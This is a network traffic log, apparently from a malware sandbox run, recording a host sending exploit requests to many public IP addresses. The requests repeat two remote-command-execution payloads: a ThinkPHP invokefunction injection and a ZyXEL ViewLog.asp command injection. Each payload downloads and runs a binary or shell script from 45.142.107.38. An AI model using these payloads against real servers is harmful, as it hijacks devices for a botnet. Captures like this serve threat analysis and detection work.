Mar 4, 2024 15:06:53.338987112 CET	339	IN	HTTP/1.0 400 Bad Request Date: Mon, 04 Mar 2024 21:06:53 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Your client has issued a malformed or illegal request.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	33872	112.196.128.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:53.002875090 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:53.371272087 CET	131	IN	HTTP/1.0 400 Bad Request Server: DAAKSH-MPLS-POP-BB Date: mon, 04 mar 2024 19:36:35 GMT Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	36308	112.196.110.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:53.068984985 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	40650	112.216.114.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:53.297799110 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:53.604027987 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:53 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	44410	112.185.99.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:53.897609949 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	35424	112.50.105.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:54.280628920 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:56.215049028 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	60870	88.216.67.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:55.735438108 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:55.823431015 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 04 Mar 2024 14:06:55 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	57838	88.255.55.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:55.867677927 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:04.111007929 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close
Mar 4, 2024 15:07:04.314851999 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	39652	95.179.233.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:56.470733881 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:56.947613955 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:57.102658033 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:57 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	41384	94.187.104.151	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:57.188154936 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	36308	94.123.51.253	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:57.197145939 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	49316	31.200.37.160	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:57.199407101 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	48314	95.61.114.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:57.379637003 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:58.359083891 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	34364	95.216.80.90	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:57.379698038 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	49330	94.123.152.36	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:57.403565884 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	46602	85.10.155.71	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.137928963 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	41376	62.29.111.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.191308022 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	49834	95.86.118.77	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.193387032 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	48344	95.61.114.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.372773886 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	44904	95.179.141.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.654875040 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:58.823090076 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:58 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	47174	95.100.81.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.659833908 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:58.832597017 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:06:58 GMT Date: Mon, 04 Mar 2024 14:06:58 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 31 61 30 64 35 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 32 31 38 26 23 34 36 3b 37 34 39 30 39 30 34 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.d1a0d517.1709561218.7490904d</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	59074	94.139.161.42	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.675659895 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:58.964981079 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:06:59 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	48954	95.181.228.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:58.716789961 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:58.946315050 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Mon, 04 Mar 2024 14:06:58 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 